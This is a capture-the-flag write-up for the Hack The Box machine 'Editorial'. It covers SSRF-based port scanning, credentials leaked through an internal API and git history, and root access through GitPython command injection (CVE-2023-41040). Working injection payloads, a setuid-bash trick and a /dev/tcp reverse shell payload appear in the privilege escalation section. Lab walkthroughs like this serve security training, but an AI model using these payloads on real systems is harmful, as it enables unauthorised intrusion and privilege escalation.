Editorial writeup

Editorial is a Linux box that involves SSRF exploitation, internal port enumeration, git credential extraction, and privilege escalation via a GitPython vulnerability (CVE‑2023‑41040). We will discover an SSRF vulnerability in a book cover upload feature, use it to scan internal ports, retrieve API credentials, access a git repository to find production user credentials, and exploit a vulnerable sudo‑allowed Python script to gain root access.

Run an nmap scan
sudo nmap -sCV -vv -oA nmap/editorial.htb editorial.htb
# Nmap 7.98 scan initiated Wed Jan  7 23:01:53 2026 as: nmap -sCV -vv -oA nmap/editorial.htb editorial.htb
Nmap scan report for editorial.htb (10.129.56.95)
Host is up, received echo-reply ttl 63 (0.79s latency).
Scanned at 2026-01-07 23:01:54 +05 for 32s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMApl7gtas1JLYVJ1BwP3Kpc6oXk6sp2JyCHM37ULGN+DRZ4kw2BBqO/yozkui+j1Yma1wnYsxv0oVYhjGeJavM=
|   256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMXtxiT4ZZTGZX4222Zer7f/kAWwdCWM/rGzRrGVZhYx
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET
|_http-title: Editorial Tiempo Arriba
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /nix/store/hil6r8hvx4cmcw4367pkw5jqphf37ijf-nmap-7.98/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan  7 23:02:26 2026 -- 1 IP address (1 host up) scanned in 33.44 seconds

80 port (HTTP) is open, visit the website:

Nothing on the website does anything, but we have this /upload page which lets you upload a book

Interestingly, it also allows you to fetch a cover for the book from an arbitrary URL, which sounds like it could be vulnerable to SSRF. We could try inserting URL of a an IP we control, click “Preview” button and monitor logs for incoming connections.

It didn’t work with the burp collaborator, likely because machines in HTB don’t have access to the internet, so you can make it connect to you directly instead

Find your IP with

ip addr show | grep tun0
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    inet 10.10.17.46/23 scope global tun0

ip addr show shows IP addresses for all network interfaces, then grep tun0 filters it to only show IP address to tun0, which is a VPN interface, which is your hackthebox VPN interface

then open a listener on your machine to check if server would actually send a request to your IP, confirming SSRF vulnerability

ncat -lvnp 8000
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 10.129.58.164:37878.
GET / HTTP/1.1
Host: 10.10.17.46:8000
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

The server sent a request to our address, in real world it could be used to bypass IP cloacking from a WAF, and then we could use this IP to further enumerate the target

Also, you can get your IPv6 address, send a request to it from a server to get his IPv6 address. It’s useful because firewalls might be configured only for IPv4, meaning scanning IPv6 address with nmap could get us more open ports that weren’t meant to be open.

python-requests gives us more information about the library server uses to send requests. This library is unlikely to process any non-HTTP URL requests like file://, so we can skip this step in our testing Create an intruder attack to enumerate ports on the server. Notice how every port returns the same image? Create a negative search on this text to only view responses that would be different:

Port 5000 returns a different link.

Following this endpoint, it returns you a file with the following text:

{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}

Try endpoint /api/latest/metadata/messages/authors

Following this link retrieves a file with following contents:

Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.

Your login credentials for our internal forum and authors site are:
Username: dev
Password: dev080217_devAPI!@
Please be sure to change your password as soon as possible for security purposes.

Don't hesitate to reach out if you have any questions or ideas - we're always here to support you.

Best regards, Editorial Tiempo Arriba Team.

New credentials! dev:dev080217_devAPI!@

ssh [email protected]
The authenticity of host 'editorial.htb (10.129.58.164)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Jan 11 11:47:12 AM UTC 2026

  System load:           0.08
  Usage of /:            61.0% of 6.35GB
  Memory usage:          13%
  Swap usage:            0%
  Processes:             225
  Users logged in:       0
  IPv4 address for eth0: 10.129.58.164
  IPv6 address for eth0: dead:beef::250:56ff:feb0:5bd4


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$

And they work on SSH too!

Only 3 users have shell access, and prod is the only non-root user who isn’t us

cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash

Notice that the apps folder has .git repository

dev@editorial:~$ ls -la apps/
total 12
drwxrwxr-x 3 dev dev 4096 Jun  5  2024 .
drwxr-x--- 4 dev dev 4096 Jun  5  2024 ..
drwxr-xr-x 8 dev dev 4096 Jun  5  2024 .git
git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
	deleted:    app_api/app.py
	deleted:    app_editorial/app.py
	deleted:    app_editorial/static/css/bootstrap-grid.css
	deleted:    app_editorial/static/css/bootstrap-grid.css.map
	deleted:    app_editorial/static/css/bootstrap-grid.min.css
	deleted:    app_editorial/static/css/bootstrap-grid.min.css.map
	deleted:    app_editorial/static/css/bootstrap-grid.rtl.css
	deleted:    app_editorial/static/css/bootstrap-grid.rtl.css.map
	deleted:    app_editorial/static/css/bootstrap-grid.rtl.min.css
	deleted:    app_editorial/static/css/bootstrap-grid.rtl.min.css.map
	deleted:    app_editorial/static/css/bootstrap-reboot.css
	deleted:    app_editorial/static/css/bootstrap-reboot.css.map
	deleted:    app_editorial/static/css/bootstrap-reboot.min.css
	deleted:    app_editorial/static/css/bootstrap-reboot.min.css.map
	deleted:    app_editorial/static/css/bootstrap-reboot.rtl.css
	deleted:    app_editorial/static/css/bootstrap-reboot.rtl.css.map
	deleted:    app_editorial/static/css/bootstrap-reboot.rtl.min.css
	deleted:    app_editorial/static/css/bootstrap-reboot.rtl.min.css.map
	deleted:    app_editorial/static/css/bootstrap-utilities.css
	deleted:    app_editorial/static/css/bootstrap-utilities.css.map
	deleted:    app_editorial/static/css/bootstrap-utilities.min.css
	deleted:    app_editorial/static/css/bootstrap-utilities.min.css.map
	deleted:    app_editorial/static/css/bootstrap-utilities.rtl.css
	deleted:    app_editorial/static/css/bootstrap-utilities.rtl.css.map
	deleted:    app_editorial/static/css/bootstrap-utilities.rtl.min.css
	deleted:    app_editorial/static/css/bootstrap-utilities.rtl.min.css.map
	deleted:    app_editorial/static/css/bootstrap.css
	deleted:    app_editorial/static/css/bootstrap.css.map
	deleted:    app_editorial/static/css/bootstrap.min.css
	deleted:    app_editorial/static/css/bootstrap.min.css.map
	deleted:    app_editorial/static/css/bootstrap.rtl.css
	deleted:    app_editorial/static/css/bootstrap.rtl.css.map
	deleted:    app_editorial/static/css/bootstrap.rtl.min.css
	deleted:    app_editorial/static/css/bootstrap.rtl.min.css.map
	deleted:    app_editorial/static/images/login-background.jpg
	deleted:    app_editorial/static/images/pexels-janko-ferlic-590493.jpg
	deleted:    app_editorial/static/images/pexels-min-an-694740.jpg
	deleted:    app_editorial/static/js/bootstrap.bundle.js
	deleted:    app_editorial/static/js/bootstrap.bundle.js.map
	deleted:    app_editorial/static/js/bootstrap.bundle.min.js
	deleted:    app_editorial/static/js/bootstrap.bundle.min.js.map
	deleted:    app_editorial/static/js/bootstrap.esm.js
	deleted:    app_editorial/static/js/bootstrap.esm.js.map
	deleted:    app_editorial/static/js/bootstrap.esm.min.js
	deleted:    app_editorial/static/js/bootstrap.esm.min.js.map
	deleted:    app_editorial/static/js/bootstrap.js
	deleted:    app_editorial/static/js/bootstrap.js.map
	deleted:    app_editorial/static/js/bootstrap.min.js
	deleted:    app_editorial/static/js/bootstrap.min.js.map
	deleted:    app_editorial/templates/about.html
	deleted:    app_editorial/templates/index.html
	deleted:    app_editorial/templates/upload.html

no changes added to commit (use "git add" and/or "git commit -a")

All files were deleted, but they are still saved in .git history

git log -G prod
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev

    * To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info

    * It (will) contains internal info about the editorial, this enable
       faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:48:43 2023 -0500

    feat: create editorial app

    * This contains the base of this project.
    * Also we add a feature to enable to external authors send us their
       books and validate a future post in our editorial.

This command shows all commits that have prod in their diffs’ Looking at the first commit, it has exposed prod user credentials

dev@editorial:~/apps$ git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev

    * To use development environment.

diff --git a/app_api/app.py b/app_api/app.py
index 61b786f..3373b14 100644
--- a/app_api/app.py
+++ b/app_api/app.py
@@ -64,7 +64,7 @@ def index():
 @app.route(api_route + '/authors/message', methods=['GET'])
 def api_mail_new_authors():
     return jsonify({
-        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
     }) # TODO: replace dev credentials when checks pass

 # -------------------------------

New credentials! prod:080217_Producti0n_2023!@

su - prod

can help to switch users without reentering ssh session

prod@editorial:~$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

User prod can run this python script as root, if you find a vulnerability in this script it would allow privilege escalation to root

-rwxr-x--- 1 root prod 256 Jun  4  2024 clone_prod_change.py

We can’t edit this script, but we can supply arguments to it. See if there arguments are used without validation to find a vulnerability

cat clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

There is a publicly known vulnerability in python’s Repo library, whose example looks exactly like our script

# PoC

from git import Repo
r = Repo.init('', bare=True)
r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])

Copy bash to /tmp

cp /usr/bin/bash /tmp

Change owner to root

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c chown% root:root% /tmp/bash"

And allow everyone to execute this bash binary as the file owner (root)

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c chmod% 4755% /tmp/bash"
 ls -la bash
-rwsr-xr-x 1 root root 1396520 Jan 11 13:08 bash

Then use argument -p to retain setuid permissions

./bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt

Alternatively, you could just output root.txt contents directly to /tmp folder

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c cat% /root/root.txt% >% /tmp/root.txt"

Or you could send yourself a reverse shell

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c bash% -c% 'sh% -i% >&% /dev/tcp/<IP_ADDRESS>/<PORT>% 0>&1'"

Credentials

dev:dev080217\_devAPI!@
prod:080217\_Producti0n\_2023!@